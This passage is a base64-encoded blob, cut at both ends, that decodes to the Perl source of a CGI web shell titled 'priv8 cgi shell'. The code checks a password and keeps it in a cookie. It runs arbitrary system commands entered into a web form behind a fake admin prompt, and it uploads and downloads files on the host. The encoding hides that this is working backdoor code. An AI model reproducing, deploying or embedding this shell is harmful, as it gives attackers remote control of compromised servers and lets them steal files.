Qgc2l6ZT0iMyI+CmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPgpwYXNzd29yZDo8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiIHNpemU9IjMiPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEdldENvb2tpZXMKewoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsKCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpCgl7CgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOwoJCSRDb29raWVzeyRpZH0gPSAkdmFsOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dvdXQKewoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQoJJlByaW50UGFnZUhlYWRlcigicCIpOwoJJlByaW50TG9nb3V0U2NyZWVuOwoKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaAoJewoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCQkmUHJpbnRMb2dpblNjcmVlbjsKCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkCgkJewoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7CgoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4KCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+Ck92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlwcmludCA8PEVORDsKPC94bXA+Cgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQiOwoJfQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcGxheSB0aGUgb3V0cHV0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kPHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgoKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCXByaW50ICIiOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZml